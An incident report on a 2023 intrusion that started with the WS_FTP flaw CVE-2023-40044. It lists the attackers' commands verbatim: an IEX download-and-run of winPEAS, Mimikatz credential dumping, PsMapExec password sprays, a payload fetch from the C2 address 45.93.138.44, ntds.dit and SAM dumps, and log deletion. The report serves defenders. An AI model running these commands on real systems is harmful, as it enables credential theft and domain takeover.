The incident began on October 2, 2023, with the threat actors gaining initial access after exploiting a vulnerability in a WS_FTP server **vulnerability CVE-2023-40044** . The threat actors established a foothold using Sliver beacons, the executable files **file cl.exe** and **file sl.exe** . Command and control was established to the remote server at **ip-dst|port 45.93.138.44|3131** .

The threat actor acted upon the access eleven days later on October 13, 2023. Over approximately six hours, they utilized WinPeas **link https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS** for system reconnaissance

process powershell "IEX(New-Object Net.WebClient).downloadString('https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1')"

followed by unsuccessful attempts to use Mimikatz **file mk.exe** to access credentials.

process mk.exe privilege::debug

process mk.exe sekurlsa::logonpasswords

process mk.exe sekurlsa::Minidump lsassdump.dmp

process mk.exe token::List

process mk.exe sekurlsa::pth

process mk.exe sekurlsa::msv

They also ran SharpHound **file sh.exe** seemingly to enumerate the active directory environment. The threat actors then went silent for about five days.

On October 18, 2023, they returned, spending roughly eight hours trying to elevate permissions and scope out the environment. The threat actor initiated another attempt with Mimikatz, which proved unsuccessful, followed by another execution of SharpHound. They then ran PowerView **file pv.ps1** using Invoke-ShareFinder to check for network shares, and then conducted further system discovery. This included accessing Microsoft Sticky Notes `plum.sqlite` **process gc %LOCALAPPDATA%\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite** database files, examining Windows PowerShell event logs **process Get-EventLog -LogName 'Windows PowerShell' -Newest 100 | Select-Object -Property *** , querying the registry **process reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run** , and using C:\temp as a staging directory. We observed them copying confidential files over to the staging directory using PowerShell.

process Test-Path "\\<REDACTED>\c$\Shares\Docs\IT\IT_Cyber-Insurance-Agreement.docx"

process Copy-Item -Path "\\<REDACTED>\c$\Shares\Docs\IT\IT_Cyber-Insurance-Agreement.docx" -Destination "C:\temp\"

process Copy-Item -Path "\\<REDACTED>\c$\Shares\Docs\IT\IT_Cyber-Insurance-Agreement.docx" -Destination "C:\temp\ci.docx"

Subsequent activities involved various methods to escalate privileges, including an attempt at AdminSDHolder abuse

link https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence

and creating a new machine account using the PowerMad script:

process Add-ObjectAcl -TargetADSprefix 'CN=USERS,DC=<REDACTED_DOMAIN>,DC=LOCAL' -PrincipalSamAccountName <user> -Verbose -Rig

.

They also made use of the GodPotato tool **link https://github.com/BeichenDream/GodPotato**

process ↦ command-line .\gp.exe -cmd "cmd /c whoami" .

This was followed by execution of PsMapExec **link https://github.com/The-Viper-One/PsMapExec** to try weak passwords across all domain users.

process PsMapExec -Targets All -Method SMB

`process` `PsMapExec -Targets All -Method SessionHunter`

`process` `PsMapExec -Targets All -Method RDP`

`process` `PsMapExec -Targets All -Method WinRM`

`process` `PsMapExec -Targets All -Method WMI`

`process` `PsMapExec -Method Spray -Password 12345678`

`process` `PsMapExec -Method Spray -Password Password1!`

`process` `PsMapExec -Method Spray -EmptyPassword`

After achieving elevated system and domain privileges via the PsMapExec password spray, they accessed the domain controller by placing the same sliver payload `file` `cl.exe` on the system and executing it remotely using PowerShell remoting

`process` `Invoke-Command -ComputerName DC -ScriptBlock { Invoke-WebRequest http://45.93.138.44/cl.exe -OutFile %USERPROFILE%\Downloads } -Credential $credential`

. They then proceeded with dumping the ntds.dit database `process` `powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"` and then saving the **Security** and **System** registry to disk `process` `reg.exe save hklm\sam c:\temp\sam.save` .

During this time, they also accessed documents related to Cyber Security Insurance.

`process ↦ command-line` `Test-Path "\\<REDACTED>\c$\Shares\Docs\IT\IT_Cyber-Insurance-Agreement.docx"`

`process` `Invoke-Command -ComputerName FILESERVER1 -ScriptBlock { dir C:\Shares\Docs } -Credential $credential`

Throughout this event, the threat actors engaged in defense evasion tactics, including the removal of payloads after execution and the deletion of certain PowerShell Transcript Logs, which presented challenges during investigation.

`process` `rm .\sl.exe`

`process` `rm temp`

`process` `rm sh.exe`

`process` `rm .\20231012215148_BloodHound.zip`

`process` `Invoke-Command -ComputerName DC -ScriptBlock { rm %USERPROFILE%\Documents\20231018 } -Credential $credential`

We did not see any further actions on objects before the threat actor was evicted from the environment.